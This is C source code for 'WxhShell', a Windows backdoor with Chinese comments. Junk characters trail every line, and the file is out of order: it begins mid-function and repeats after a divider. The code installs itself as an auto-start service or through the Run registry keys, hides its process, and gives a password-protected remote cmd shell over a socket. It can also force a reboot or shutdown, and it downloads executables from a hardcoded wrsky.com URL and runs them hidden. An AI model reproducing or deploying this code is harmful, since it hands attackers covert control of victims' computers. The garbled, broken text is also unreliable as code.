    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >:`Y]6z  
    else { Q=9S?p M  
    closesocket(wsh); .0q %A1H  
    ExitThread(0); [J+K4o8L<A  
    } "t"=9:_t  
    break; |C S[>0mV!  
    } <u"#Jw/VP  
  // 获取shell ";e0-t6:  
  case 's': { c"J(? 1O  
    CmdShell(wsh); vwzTrWA=  
    closesocket(wsh); YAZ=-@]`\  
    ExitThread(0); }h>e=<  
    break; )x"Z$jIs  
  } $/45*  
  // 退出 !{SU G+.2  
  case 'x': { 0r=Lilu{q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s/Wg^(&M  
    CloseIt(wsh); r/L3j0  
    break; DRV vW6s  
    } v4|kiy  
  // 离开 bah5 f  
  case 'q': { SJ7>*Sa(u$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j &Ayk*  
    closesocket(wsh); i4!n Oyk  
    WSACleanup(); ^B?koU l^  
    exit(1); j>R7OGg'  
    break; -ij1%#tz  
        } S-yd-MtQp  
  } xMhR;lKY  
  } YKl!M/  
,^o^@SI)   
  // 提示信息 mXF pGo5 s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); > KH4X:  
} j&m<=-q  
  } xyz-T1ib  
5 |C;]pq  
  return; n]coqJ  
} 8yFD2(#  
Zml9 ndzT  
// shell模块句柄 8N-~.p  
int CmdShell(SOCKET sock) kC9A  
{ `Xmpm4 ]  
STARTUPINFO si; O t `}eL-  
ZeroMemory(&si,sizeof(si)); T:.J9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n3b@ 6V1_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i$:CGUb  
PROCESS_INFORMATION ProcessInfo; x_Ais&Gc  
char cmdline[]="cmd"; Punbw\9!d,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PD/JXExK  
  return 0; fBd +gT\S  
} Gh|1%g"gm  
+S%@/q  
// 自身启动模式 <)n   
int StartFromService(void) #^#)OQq]  
{  |Be.r{l  
typedef struct -R7f/a8  
{ NK#Dq&W+&  
  DWORD ExitStatus; [EGE|   
  DWORD PebBaseAddress; $X*$,CCIB  
  DWORD AffinityMask; u{p\8v%7  
  DWORD BasePriority; Bdbw!zRR$  
  ULONG UniqueProcessId; JBUJc  
  ULONG InheritedFromUniqueProcessId; " 31C8  
}   PROCESS_BASIC_INFORMATION; 9CBB,  
FT (EH  
PROCNTQSIP NtQueryInformationProcess; [V jd )%  
y'yaCf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ha8do^x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;-]f4O8  
^2^ptQj  
  HANDLE             hProcess; q9WSQ$:z8  
  PROCESS_BASIC_INFORMATION pbi; 5K6_#g4"  
& bw1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s:]rL&|  
  if(NULL == hInst ) return 0; ,$;CII v  
.=@M>TZM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dqKTF_+VhA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +Qc^A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p Y>yJ)  
3?5 ~KxOE(  
  if (!NtQueryInformationProcess) return 0; (J^ Tss  
o!\O)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A<.Q&4jb  
  if(!hProcess) return 0; #sqDZ]\B  
M;43F*   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9I.v?Tap  
.cZ&~ N  
  CloseHandle(hProcess); ;_Rx|~!!  
7L-%5:1%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x6)   
if(hProcess==NULL) return 0; RXWjFv~/  
e&0B4wVAQ  
HMODULE hMod; zw5~|<  
char procName[255]; y6PAXvv'{  
unsigned long cbNeeded; o$-8V:)6d  
v\MH;DW^Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )E[5lD61  
n3|~X/I  
  CloseHandle(hProcess); ZXU e4@qfl  
dl":?D4H  
if(strstr(procName,"services")) return 1; // 以服务启动 'g=yJ  
RD_;us@&&*  
  return 0; // 注册表启动 -dvDAs{X  
} `jZX(H   
MZd\.]G@  
// 主模块 'Vrev8D  
int StartWxhshell(LPSTR lpCmdLine) /e7'5#v  
{ /t9w%Y  
  SOCKET wsl; q/B+F%QiMQ  
BOOL val=TRUE; +pcj8K%  
  int port=0; vSnb>z1  
  struct sockaddr_in door; %cm5Z^B1"  
a<Ns C1  
  if(wscfg.ws_autoins) Install(); FQ-(#[  
]nQ$:%HP  
port=atoi(lpCmdLine); c~tSt.^WX  
YwF6/JA0^  
if(port<=0) port=wscfg.ws_port; =6W:O  
Zgg7pL)#c  
  WSADATA data; @Op8^8$`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l =_@<p  
0zTv'L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   no/]Me!j=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \iL,l87  
  door.sin_family = AF_INET; =)zq %d?i;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _+Q$h4t   
  door.sin_port = htons(port); Asn0&Ys4  
Gqia@>T4*N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cUm9s>^)/  
closesocket(wsl); 7GIv3Dc  
return 1; v:HgpZo+  
} |v1 K@  
fN4p G*D  
  if(listen(wsl,2) == INVALID_SOCKET) { e N-{  
closesocket(wsl); vXnpx}B  
return 1; 3=<iGX"z  
} #P4dx'vm  
  Wxhshell(wsl); 7YN)T?  
  WSACleanup(); a[$.B2U  
g~y9j88?  
return 0; G4{qWa/  
2?r8>#_*  
} r2](~&i2  
a:| 4q  
// 以NT服务方式启动 aEk*-v#{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) : te xl  
{ 6m.Ku13;  
DWORD   status = 0; Zn/9BO5  
  DWORD   specificError = 0xfffffff; t!T}Pg(Bo  
Qr<%rU^{.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I| j tpv}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R^2Uh$kk{A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "{B ek<  
  serviceStatus.dwWin32ExitCode     = 0; o5D"<-=>  
  serviceStatus.dwServiceSpecificExitCode = 0; H4m6H)KOG  
  serviceStatus.dwCheckPoint       = 0; b$ x"&&   
  serviceStatus.dwWaitHint       = 0; ~`})x(!  
X<m%EXvV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xk*3,J6BK  
  if (hServiceStatusHandle==0) return; !Q(xOc9>Ug  
h/fCCfO,  
status = GetLastError(); kr*c?^b  
  if (status!=NO_ERROR) QB.'8B_  
{ lQsQRp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B![5+  
    serviceStatus.dwCheckPoint       = 0; 'iVo,m[yKU  
    serviceStatus.dwWaitHint       = 0; ommKf[h%i  
    serviceStatus.dwWin32ExitCode     = status; *QG3Jz  
    serviceStatus.dwServiceSpecificExitCode = specificError; YMi(Cyja&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }]~}DHYr  
    return; ) *A,L%  
  } '<0q"juXE  
 q%k+x)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )a^Yor)o"  
  serviceStatus.dwCheckPoint       = 0; bSr 'ji  
  serviceStatus.dwWaitHint       = 0; 6oP{P_Pxi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h3kHI?jMWG  
}  (v`;ym  
FR}H$R7#  
// 处理NT服务事件,比如:启动、停止 . ?p}:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2 &Byq  
{ R2$U K  
switch(fdwControl) ,OKM\N ,  
{ yo*iv+l  
case SERVICE_CONTROL_STOP: /,Rca1W  
  serviceStatus.dwWin32ExitCode = 0; nFfCw%T?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~t:b<'/  
  serviceStatus.dwCheckPoint   = 0; Qsntf.fT  
  serviceStatus.dwWaitHint     = 0; P*PL6UQ  
  { f^)uK+:.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +2zuIW.  
  } O&,O:b:@  
  return; xplo Fw~  
case SERVICE_CONTROL_PAUSE: s3M84wz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x ct U.)p  
  break; Idlu1g  
case SERVICE_CONTROL_CONTINUE: t%U[\\ic  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A(n=kx  
  break; :6u3Mj{  
case SERVICE_CONTROL_INTERROGATE: e9W7ke E*  
  break; ` (D4gPW  
}; O^}v/}d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |mk}@OEf  
} LO]6Xd"  
z/KZ[qH\  
// 标准应用程序主函数 j#e.rNG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #eC;3Kq#-  
{ ~RXpz-Ye  
'Y[A'.*}4  
// 获取操作系统版本 p? ?/r  
OsIsNt=GetOsVer(); grQnV' q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); olMO+-USP  
DnHAm q]  
  // 从命令行安装 Q H_W\W  
  if(strpbrk(lpCmdLine,"iI")) Install(); Tdwwtbe  
$a^isd4  
  // 下载执行文件 ;x-H$OZX  
if(wscfg.ws_downexe) { |2@en=EYk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v{2DBr  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4$aO;Z_  
} z@~&Kwf\}  
>C3NtGvy  
if(!OsIsNt) { Y_@"v#,  
// 如果时win9x,隐藏进程并且设置为注册表启动 A$~xG(  
HideProc(); =u8D!AxT  
StartWxhshell(lpCmdLine); fT3*>^Uv  
} v'Vt .m&9&  
else T@|l@xm~L  
  if(StartFromService()) ;:Z=%R$wJ  
  // 以服务方式启动 ^ L ^F=qx  
  StartServiceCtrlDispatcher(DispatchTable); P;[Y42\z|  
else Blbq3y+Sq  
  // 普通方式启动 ]1?=jlUl  
  StartWxhshell(lpCmdLine); _~[?> cF%  
M{xVkXc>  
return 0; @vQa\|j  
} GzFE%< 9F  
V-_/(xt*  
Hl3)R*&'J  
3u*hT T  
=========================================== wm=RD98  
kwHqvO!G  
VkpHzr[k  
b(RB G  
Mi}I0yhVm  
rQEi/  
" :wU_-{>>2  
*v rW A  
#include <stdio.h> *J_iXu|  
#include <string.h> VD24X  
#include <windows.h> poD \C;o"  
#include <winsock2.h> d9Z&qdxTKq  
#include <winsvc.h> _(6`{PWY  
#include <urlmon.h> ]G0dS Fh{j  
'_qQrP#  
#pragma comment (lib, "Ws2_32.lib") %5h^`lp  
#pragma comment (lib, "urlmon.lib") #+" 4&:my  
85D^@{  
#define MAX_USER   100 // 最大客户端连接数 pDq#8*q+v  
#define BUF_SOCK   200 // sock buffer #9`rXEz  
#define KEY_BUFF   255 // 输入 buffer (`6%og#8  
B:-U`CHHQ  
#define REBOOT     0   // 重启 -@2'I++"@  
#define SHUTDOWN   1   // 关机 A)Qh  
Kej|1g1f  
#define DEF_PORT   5000 // 监听端口 Y}LLOj@L  
tqf&N0*  
#define REG_LEN     16   // 注册表键长度 0||"r&:X  
#define SVC_LEN     80   // NT服务名长度 4;C*Fa  
dC` tN5  
// 从dll定义API _1sMYhI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L)F1NuR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'j,oIqx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !:"-:O}>=,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SY,I >-%  
yI8m%g%  
// wxhshell配置信息 o\ngR\>  
struct WSCFG { xQJIM.  
  int ws_port;         // 监听端口 VLsh=v   
  char ws_passstr[REG_LEN]; // 口令 XDk'2ycv  
  int ws_autoins;       // 安装标记, 1=yes 0=no [?chK^8  
  char ws_regname[REG_LEN]; // 注册表键名 ATXF,o1  
  char ws_svcname[REG_LEN]; // 服务名 F>dwLbnb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EZ"bW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +z-[s6q2m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MZ|\S/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Yb[n{.%/g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d/{Q t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \=!H2M  
5`{vE4A]q  
}; )O3jQ_q=  
QjA&IZEC  
// default Wxhshell configuration b~_B [cf  
struct WSCFG wscfg={DEF_PORT, 4:vTxNs&S  
    "xuhuanlingzhe", z)lM2x>|*  
    1, pkXv.D`  
    "Wxhshell", HU &)  
    "Wxhshell", r6`\d k  
            "WxhShell Service", m0A#6=<  
    "Wrsky Windows CmdShell Service", i&`!|X-=R  
    "Please Input Your Password: ", fVe@YqNa  
  1, AnNP Ti  
  "http://www.wrsky.com/wxhshell.exe", Y4#y34 We  
  "Wxhshell.exe" &<au/^F  
    }; _(C^[:s  
QDS0ejhp  
// 消息定义模块 g96T*T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1SW4Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |q;Al z{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Kax#OYLpg  
char *msg_ws_ext="\n\rExit."; G0}Dq M Ti  
char *msg_ws_end="\n\rQuit."; eC~ jgB  
char *msg_ws_boot="\n\rReboot..."; U98_M)-%&  
char *msg_ws_poff="\n\rShutdown..."; ->\N_|_  
char *msg_ws_down="\n\rSave to "; P5xI  
q IM  
char *msg_ws_err="\n\rErr!"; Z>F@n Tzb>  
char *msg_ws_ok="\n\rOK!"; k6@b|  
J58#$NC `'  
char ExeFile[MAX_PATH]; 1otspOy  
int nUser = 0; 9e~WK720=  
HANDLE handles[MAX_USER]; Z_FNIM0f  
int OsIsNt;  c/ _yMN  
-vV'Lw(  
SERVICE_STATUS       serviceStatus; /D[dO6.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2F1ZAl  
*g1L$FBG  
// 函数声明 dK.R[ aQ  
int Install(void); ic-IN~J-  
int Uninstall(void); ASW4,%cl  
int DownloadFile(char *sURL, SOCKET wsh); ivfXat-  
int Boot(int flag); cC%j!8!  
void HideProc(void); R4b-M0H  
int GetOsVer(void); %M9;I  
int Wxhshell(SOCKET wsl); iK!dr1:wSw  
void TalkWithClient(void *cs); KmQ^?Ad- C  
int CmdShell(SOCKET sock); LeSHRoD  
int StartFromService(void); lUv=7" [  
int StartWxhshell(LPSTR lpCmdLine); 1}!L][(  
P-'_}*wxi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "cMNdR1^,y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xuU x4,Z  
S[mM4et|  
// 数据结构和表定义 vZ@g@zB4o0  
SERVICE_TABLE_ENTRY DispatchTable[] = q#N R32byF  
{ aG! *WHt  
{wscfg.ws_svcname, NTServiceMain}, Ky kSFB  
{NULL, NULL} D{p5/#|r  
}; dQ9 ah  
KCUU#t|8V\  
// 自我安装 *| YU]b;W  
int Install(void) sqpGrW.  
{ )11W)G`w  
  char svExeFile[MAX_PATH]; QR"bYQ  
  HKEY key; =&Xdm(  
  strcpy(svExeFile,ExeFile); 0|XKd24BN  
b`CWp;6Y  
// 如果是win9x系统,修改注册表设为自启动 q[ ULG v  
if(!OsIsNt) { .:y5U}vR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^s{hs(8%R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6Y1J2n"  
  RegCloseKey(key); :CaTP%GW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZenPw1-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S`iR9{+&  
  RegCloseKey(key); ewnfeg1  
  return 0; rbyY8 bX  
    } "MnSJ 2  
  } )KY:m |Z  
} g9KTn4  
else { aMTFW_w  
AW~"yI<  
// 如果是NT以上系统,安装为系统服务 sDC*J \X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eA=WGy@IcN  
if (schSCManager!=0) YEv Lhh  
{ #`ls)-`7  
  SC_HANDLE schService = CreateService _KN/@(+F  
  ( {.CMD9F[  
  schSCManager, [i7YVwG4  
  wscfg.ws_svcname, uWjU OJEe  
  wscfg.ws_svcdisp,  s;Y<BD  
  SERVICE_ALL_ACCESS, ^.go O]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rk|@B{CA;  
  SERVICE_AUTO_START, Zx{96G+1  
  SERVICE_ERROR_NORMAL, bik*ZC?E  
  svExeFile, K2rzhHfb  
  NULL, 3o6RbW0[  
  NULL, |P~;C6sf  
  NULL, 2f{T6=SK  
  NULL, i  sW\MB]  
  NULL sJZ!sznn  
  ); 8TWTbQ  
  if (schService!=0) CQ^3v09N;~  
  { ^jD1vUL 2:  
  CloseServiceHandle(schService); v`DI<Lt  
  CloseServiceHandle(schSCManager); sx 9uV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A:# k  
  strcat(svExeFile,wscfg.ws_svcname); =X(%Svnp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j6g@tx^)'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); idc4Cf+4  
  RegCloseKey(key); A\QJLWBv^$  
  return 0; 7:Zt uc]  
    } '6-$Xq0^E  
  } o 3N]`xD'  
  CloseServiceHandle(schSCManager); \we\0@v  
} ?&X6:KJQ  
}  HpW 42  
SVWIEH0?  
return 1; $t/rOo9cV  
} bRo|uJ:d  
d]wD[]  
// 自我卸载 86qI   
int Uninstall(void) u\1>gDI)|  
{ sL^yB  
  HKEY key; < <Y}~N  
+K~NV?c  
if(!OsIsNt) { ^,8R,S\} $  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bh]!WMAw.  
  RegDeleteValue(key,wscfg.ws_regname); ^G1%6\We  
  RegCloseKey(key); Yu3zM79'k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~i~%~doa  
  RegDeleteValue(key,wscfg.ws_regname); @jy41eIo  
  RegCloseKey(key); m:+8J,jW  
  return 0; gfa[4 z  
  } Q2|p \rO  
} uQqWew8l+  
} Pbu{'y3J  
else { v?:: |{  
oPQtGl p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [xZU!=  
if (schSCManager!=0) )R2XU  
{ OJO!FH)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SO f{Hx0C6  
  if (schService!=0) ZKpvDH'  
  { y 9l*m~  
  if(DeleteService(schService)!=0) { O4iC]5@  
  CloseServiceHandle(schService); sLL7]m}  
  CloseServiceHandle(schSCManager); /JJw 6[ N  
  return 0; n,'OiVl[  
  } h9s >LY  
  CloseServiceHandle(schService); &1|?BZv  
  } K>/%X!RW  
  CloseServiceHandle(schSCManager); \2C`<h$fN  
} _D, ;MB&7  
} D=r))  
Iah[j,]r  
return 1; tt_o$D~kg  
} 9N8I ip]w  
M8&}j  
// 从指定url下载文件 MCTsi:V>+  
int DownloadFile(char *sURL, SOCKET wsh) 'lz "2@4{  
{ kOL'|GgK  
  HRESULT hr; DKL@wr}8  
char seps[]= "/"; ]0V}D,V($  
char *token; B%s7bS  
char *file; U7 @AC}.+  
char myURL[MAX_PATH]; vGy8Qu>  
char myFILE[MAX_PATH]; i[jJafAcN  
K=::)/{P  
strcpy(myURL,sURL); 6xK[34~ 6  
  token=strtok(myURL,seps); <Zb/  
  while(token!=NULL) ,:Z^$  
  { O[^%{'  
    file=token; oqd;6[%G  
  token=strtok(NULL,seps); _qwQ;!9  
  } YwEpy(}hJm  
%ysZ5:X  
GetCurrentDirectory(MAX_PATH,myFILE); CY:d`4  
strcat(myFILE, "\\"); \nNXxTxX!  
strcat(myFILE, file); dihjpI_  
  send(wsh,myFILE,strlen(myFILE),0); Uz7oL8  
send(wsh,"...",3,0); %r\n%$@_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 21X`h3+=  
  if(hr==S_OK) eV^d6T$  
return 0; "r4AY  
else D/ybFk  
return 1; [lzN !!B!  
op2Of<{h  
} F9"w6;hh  
xM>W2  
// 系统电源模块 _ gj&$zP  
int Boot(int flag) ;*TIM%6#  
{ S[3iA~)Z-  
  HANDLE hToken; {$D,?V@%_  
  TOKEN_PRIVILEGES tkp; =ac_,]z  
(IqZ@->nw  
  if(OsIsNt) { yOU(2"8p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z G }?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $``1PJoi  
    tkp.PrivilegeCount = 1; pIV-kI:w  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; olB)p$aH#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); & F:IIo7  
if(flag==REBOOT) { "Mw[P [w*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7"F*u :  
  return 0; Ks^6.)  
} Y_&g="`Q  
else { !l?.5Pm])  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F_iXd/  
  return 0; 8I20*#  
} qU2~fNY  
  } {'sY|lou  
  else { - O98pi  
if(flag==REBOOT) { hd\gH^wk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /n~\\9#3  
  return 0; <~ad:[  
} `pf4X/Py  
else { (/!r(#K0,'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d<!3`qe  
  return 0; 3`d}~v{  
} ?_x q-  
} s^0/"j|7  
4'j sDcs  
return 1; F^"_TV0va  
} `e9$,h|4  
Q?ahr~qo  
// win9x进程隐藏模块  B[=(#W  
void HideProc(void) geQ{EwO8n  
{ !-2R;yo12  
'j^xbikr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]V %.I_  
  if ( hKernel != NULL ) D0k 8^  
  { \P} p5k[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H1<>NWm!v7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3~,d+P  
    FreeLibrary(hKernel); h~&gIub  
  } mK+IEZV<3  
{FRAv(,\  
return; 2" |2a@  
} [b%:.bjY  
V@>r*7\F  
// 获取操作系统版本 GRb*EeT  
int GetOsVer(void) T2}FYVj?!g  
{ S6}@I ,Q  
  OSVERSIONINFO winfo; .)}@J5 P)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /V3=KY`_J  
  GetVersionEx(&winfo); Q9I j\HbA"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WLF0US'  
  return 1; 8^Hn"v  
  else }I 3gU  
  return 0; G+B~Ix-  
} M02uO`Y9  
a#mNE*Dg  
// 客户端句柄模块 F'g Vzf  
int Wxhshell(SOCKET wsl) ]\/tVn.'  
{ ]| N3eu  
  SOCKET wsh; ^~{$wVGa  
  struct sockaddr_in client; a+hd(JX0~  
  DWORD myID; +k dT(7  
(P&4d~) m  
  while(nUser<MAX_USER) rl9. ]~  
{ g{W;I_P^9  
  int nSize=sizeof(client); x~.:64  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wi9DhVvc 0  
  if(wsh==INVALID_SOCKET) return 1; 0ye!R   
u0P)7~%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .sQ=;w/ZA  
if(handles[nUser]==0) R[ 49(>7H4  
  closesocket(wsh); d,8mY/S>w  
else "ZTTg>r  
  nUser++; | 8qBm  
  } bSVlk`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'V8N  
+?p.?I  
  return 0; 4w#``UY)'  
} ypJ".  
dt~YW  
// 关闭 socket P&Pj>!T5  
void CloseIt(SOCKET wsh) ?"z]A7<Hj  
{ mxb06u _  
closesocket(wsh); *3T| M@Y  
nUser--; W8lx~:v  
ExitThread(0); 0 IQ'3_  
} {.yStB. T  
(`? y2n)~W  
// 客户端请求句柄 /y^7p9Z`  
void TalkWithClient(void *cs) F :6SPY y  
{ 1sP dz L  
b T 2a40ul  
  SOCKET wsh=(SOCKET)cs; FQ>`{%>  
  char pwd[SVC_LEN]; N}\[Gr  
  char cmd[KEY_BUFF]; q>w)"Dd  
char chr[1]; ^ wY[3"{  
int i,j; <>m }}^  
!QDQ_  
  while (nUser < MAX_USER) { K}=|.sE9  
#2`D`>7456  
if(wscfg.ws_passstr) { 1SrJ6W @j[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -=.V '  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?<6CFH]  
  //ZeroMemory(pwd,KEY_BUFF); l4TpH|k  
      i=0; 'ejvH;V3i  
  while(i<SVC_LEN) { 3Vp# a:  
0flg=U9  
  // 设置超时 Ela-,(Glk  
  fd_set FdRead; xoOJauSX1  
  struct timeval TimeOut; - Ij&  
  FD_ZERO(&FdRead); rHP%0f 9:  
  FD_SET(wsh,&FdRead); V7TVt,-3  
  TimeOut.tv_sec=8; u*qV[y5Bl  
  TimeOut.tv_usec=0; tgjr&G}a@0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _z[#}d;k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <cA/<3k)  
J)mh u}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %F kMv  
  pwd=chr[0]; v\`9;QV5  
  if(chr[0]==0xd || chr[0]==0xa) { 1 { , F  
  pwd=0; J[^}u_z  
  break; M>M`baM1  
  } erVO|<%=R  
  i++; %T7nO%p  
    } 5s{ABJ\@V  
0euuT@_$  
  // 如果是非法用户,关闭 socket Q:ezifQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6%Be36<  
} V 21njRS  
?YeWH WM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IF]lHB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Cuc$3l(%  
Agrp(i"\@  
while(1) { OLI$1d_  
eHDef  
  ZeroMemory(cmd,KEY_BUFF); ^Q&u0;OJ  
QJ|ap4r  
      // 自动支持客户端 telnet标准   e)E$}4  
  j=0; +nQw?'9Z  
  while(j<KEY_BUFF) { ^!q?vo\j|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;W>Y:NCrp  
  cmd[j]=chr[0]; 7z~_/mAI  
  if(chr[0]==0xa || chr[0]==0xd) { -R{V-   
  cmd[j]=0; y1=N F  
  break; b,KcBQ.  
  } Ew3ibXD  
  j++; 8BvonY t=8  
    } jNeI2-9c}  
h5yzwj:C?  
  // 下载文件 :UJa&$)  
  if(strstr(cmd,"http://")) { wCk~CkC?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P]z[v)}  
  if(DownloadFile(cmd,wsh)) f@co<iA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %p X6QRt?  
  else gNGr!3*)w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g R nOd  
  } t\$U`V)  
  else { lDmtQk-SN  
r\;ut4wy  
    switch(cmd[0]) { YIR R=qpn  
  sl*5Y#,|1  
  // 帮助 O0>A+o[1F  
  case '?': { hR5_+cuIp  
